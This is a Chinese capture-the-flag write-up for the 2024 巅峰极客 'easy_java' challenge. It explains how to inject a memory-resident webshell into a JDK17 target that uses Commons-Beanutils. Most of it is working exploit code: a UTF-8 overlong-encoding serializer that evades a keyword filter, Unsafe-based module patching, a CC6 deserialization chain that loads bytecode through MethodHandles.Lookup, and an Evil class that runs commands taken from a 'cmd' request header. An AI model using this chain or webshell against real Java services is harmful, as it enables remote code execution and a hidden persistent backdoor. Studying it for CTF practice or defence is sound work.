2024 巅峰极客 easy_java学习jdk17下打内存马方式
字数 1117 2025-08-24 07:48:10
JDK17下利用Commons-Beanutils打内存马技术分析
环境背景
- 目标环境:黑盒环境,仅知使用JDK17和Commons-Beanutils(cb)依赖
- 关键依赖:Commons-Beanutils 1.9+自带Commons-Collections 3.2.1(cc)
- 限制条件:
- 过滤了
org.apache字样 - 题目不出网
- 需要通过defineClass加载字节码打内存马
- 过滤了
UTF-8 Overlong Encoding绕过技术
绕过原理
在Java序列化过程中,类名会被编码为UTF-8字节流。UTF-8是一种可变长度编码,可以使用1-4个字节表示一个字符,同一字符可以用不同字节组合表示。
编码规则:
- 1字节:
0xxxxxxx - 2字节:
110xxxxx 10xxxxxx - 3字节:
1110xxxx 10xxxxxx 10xxxxxx - 4字节:
11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
绕过示例:
- 原始类名:
org.example.Evil→6F 72 67 2E 65 78 61 6D 70 6C 65 2E 45 76 69 6C - 替换'o'(0x6F)为0xC3 0xAF →
C3 AF 72 67 2E 65 78 61 6D 70 6C 65 2E 45 76 69 6C
实现代码
public class UTF8bypass extends ObjectOutputStream {
private static HashMap<Character, int[]> map;
static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
// ... 其他字符映射
map.put('o', new int[]{0xc1, 0xaf}); // 0x6f
// ... 其他字符映射
}
@Override
protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
String name = desc.getName();
writeShort(name.length() * 2);
for (int i = 0; i < name.length(); i++) {
char s = name.charAt(i);
write(map.get(s)[0]);
write(map.get(s)[1]);
}
// ... 其他序列化处理
}
}
使用方法
// 原始方法
serilize(hashMap);
// 绕过方法
UTF8bypass utf8bypass = new UTF8bypass(new FileOutputStream("1234.bin"));
utf8bypass.writeObject(hashMap);
JDK17下的反射限制与绕过
JDK17模块机制限制
JDK17启动了强封装,java.*的非公共字段和方法无法通过反射获取。关键限制在setAccessible方法中,会检查调用者类和目标类是否在同一个module。
绕过模块机制
利用Unsafe类修改当前类的module属性,使其与java.*下类的module属性一致:
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);
字节码加载技术
MethodHandles.Lookup加载字节码
JDK17中不能使用Temp类加载字节码,改用MethodHandles.Lookup:
MethodHandles.Lookup lookup = MethodHandles.lookup();
Class<?> clazz = lookup.defineClass(bytes);
限制条件:
- 需要
PACKAGE访问权限 - 恶意类必须与调用者在同一个包下
完整POC示例
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;
public class EXP {
public static void main(String[] args) throws Exception {
patchModule(EXP.class.getName());
patchModule(UTF8OverlongObjectOutputStream.class.getName());
byte[] memcode = Files.readAllBytes(Paths.get("/path/to/Evil.class"));
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(MethodHandles.class),
new InvokerTransformer("getDeclaredMethod",
new Class[]{String.class, Class[].class},
new Object[]{"lookup", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{byte[].class},
new Object[]{memcode}),
new InstantiateTransformer(new Class[0], new Object[0]),
new ConstantTransformer(1)
};
// CC6链构造
Map innerMap = new HashMap();
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
innerMap.remove("keykey");
setFieldValue(transformerChain, "iTransformers", transformers);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
UTF8OverlongObjectOutputStream oos = new UTF8OverlongObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();
System.out.print(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}
内存马实现
Evil类示例
package org.apache.commons.collections.functors;
public class Evil {
public Evil() throws Exception {
// 绕过模块限制
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Object module = Class.class.getDeclaredMethod("getModule").invoke(Object.class);
Class cls = Evil.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(cls, offset, module);
this.run();
}
public void run() {
// 获取请求和响应对象
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object requestAttributes = invokeMethod(
classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"),
"getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest");
Object response = invokeMethod(requestAttributes, "getResponse");
// 执行命令
String cmd = (String)request.getClass().getMethod("getHeader", String.class)
.invoke(request, "cmd");
if (cmd != null && !cmd.isEmpty()) {
Writer writer = (Writer)invokeMethod(response, "getWriter");
writer.write(exec(cmd));
writer.flush();
writer.close();
}
}
private String exec(String cmd) {
// 命令执行逻辑
}
}
技术要点总结
- UTF-8 Overlong Encoding绕过:利用UTF-8编码特性绕过关键字过滤
- JDK17反射限制绕过:使用Unsafe修改module属性
- 字节码加载:MethodHandles.Lookup代替传统defineClass
- 内存马注入:结合CC6链和字节码加载实现无文件落地攻击
- 不出网环境:通过defineClass直接加载恶意类到内存